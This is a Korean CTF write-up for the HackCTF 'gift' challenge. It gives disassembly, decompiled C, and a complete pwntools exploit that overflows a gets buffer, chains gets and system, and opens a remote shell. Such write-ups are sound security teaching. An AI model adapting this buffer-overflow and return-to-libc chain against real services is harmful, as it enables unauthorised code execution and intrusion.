0x08048546 <+0>: push ebp
0x08048547 <+1>: mov ebp,esp
0x08048549 <+3>: push ebx
0x0804854a <+4>: add esp,0xffffff80
0x0804854d <+7>: call 0x8048480 <__x86.get_pc_thunk.bx>
0x08048552 <+12>: add ebx,0x1392
0x08048558 <+18>: push 0x3c
0x0804855a <+20>: call 0x80483f0 <alarm@plt>
0x0804855f <+25>: add esp,0x4
0x08048562 <+28>: mov eax,DWORD PTR [ebx-0x4]
0x08048568 <+34>: mov eax,DWORD PTR [eax]
0x0804856a <+36>: push 0x0
0x0804856c <+38>: push 0x2
0x0804856e <+40>: push 0x0
0x08048570 <+42>: push eax
0x08048571 <+43>: call 0x8048410 <setvbuf@plt>
0x08048576 <+48>: add esp,0x10
0x08048579 <+51>: mov eax,DWORD PTR [ebx-0x8]
0x0804857f <+57>: mov eax,DWORD PTR [eax]
0x08048581 <+59>: push 0x0
0x08048583 <+61>: push 0x2
0x08048585 <+63>: push 0x0
0x08048587 <+65>: push eax
0x08048588 <+66>: call 0x8048410 <setvbuf@plt>
0x0804858d <+71>: add esp,0x10
0x08048590 <+74>: mov eax,DWORD PTR [ebx-0x14]
0x08048596 <+80>: mov eax,DWORD PTR [eax]
0x08048598 <+82>: push 0x0
0x0804859a <+84>: push 0x2
0x0804859c <+86>: push 0x0
0x0804859e <+88>: push eax
0x0804859f <+89>: call 0x8048410 <setvbuf@plt>
0x080485a4 <+94>: add esp,0x10
0x080485a7 <+97>: mov eax,DWORD PTR [ebx-0x10]
0x080485ad <+103>: push eax
0x080485ae <+104>: mov eax,0x8049940
0x080485b4 <+110>: push eax
0x080485b5 <+111>: lea eax,[ebx-0x1254]
0x080485bb <+117>: push eax
0x080485bc <+118>: call 0x80483c0 <printf@plt>
0x080485c1 <+123>: add esp,0xc
0x080485c4 <+126>: mov eax,DWORD PTR [ebx-0x8]
0x080485ca <+132>: mov eax,DWORD PTR [eax]
0x080485cc <+134>: push eax
0x080485cd <+135>: push 0x80
0x080485d2 <+140>: lea eax,[ebp-0x84]
0x080485d8 <+146>: push eax
0x080485d9 <+147>: call 0x80483e0 <fgets@plt>
0x080485de <+152>: add esp,0xc
0x080485e1 <+155>: lea eax,[ebp-0x84]
0x080485e7 <+161>: push eax
0x080485e8 <+162>: call 0x80483c0 <printf@plt>
0x080485ed <+167>: add esp,0x4
0x080485f0 <+170>: lea eax,[ebp-0x84]
0x080485f6 <+176>: push eax
0x080485f7 <+177>: call 0x80483d0 <gets@plt>
0x080485fc <+182>: add esp,0x4
0x080485ff <+185>: mov eax,0x0
0x08048604 <+190>: mov ebx,DWORD PTR [ebp-0x4]
0x08048607 <+193>: leave
0x08048608 <+194>: ret
어셈블리어를 토대로 hexray 해보면
#include<stdio.h>
int main(){
char buf[0x80];
alarm(0x3c);
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
printf("Hey guyssssssssss here you are: %p %p\n",&binsh, &system);
fgets(buf, 0x80, 1);
printf(buf);
gets(buf);
return 0;
}
다음과 같다.
print 구문에서 binsh와 system의 주소를 준다.
이어서 fgets에서는 buf의 크기인 0x80만큼만 받아오므로 BOF를 일으키기는 어려울 것 같다.
이어서 나오는 gets함수에서 BOF를 일으키면 된다.
binsh의 주소에 저장되어 있는 값을 gdb를 통해 보면 0임을 알 수 있다.
즉, gets함수를 통해 binsh주소에 /bin/sh 값을 넣어주어야 한다.
다음과 같이 exploit코드를 작성한다.
from pwn import *
#p = process("./gift")
p = remote("ctf.j0n9hyun.xyz",3018)
p.recvuntil('are: ')
binsh = int(p.recvuntil(' ')[:-1],16)
system = int(p.recvuntil('\n')[:-1],16)
pop_ret = 0x804866b # pop ebp; ret;
gets_plt = 0x80483d0
p.sendline('a')
payload = 'A'*0x80 + 'B'*8
payload += p32(gets_plt)
payload += p32(pop_ret)
payload += p32(binsh)
payload += p32(system)
payload += 'A'*4
payload += p32(binsh)
p.sendline(payload)
p.sendline('/bin/sh' + '\x00')
p.interactive()
FLAG : HackCTF{플래그_잘_받았지?_이게_내_선물이야!}
반응형
'WriteUp > HackCTF' 카테고리의 다른 글
[HackCTF] 내 버퍼가 흘러넘친다!!! (0) | 2021.08.08 |
---|---|
[HackCTF] Basic_FSB (0) | 2021.08.08 |
[HackCTF] RTL_World (0) | 2021.08.08 |
[HackCTF] ROP (0) | 2021.08.08 |
[HackCTF] x64 buffer overflow (0) | 2021.08.08 |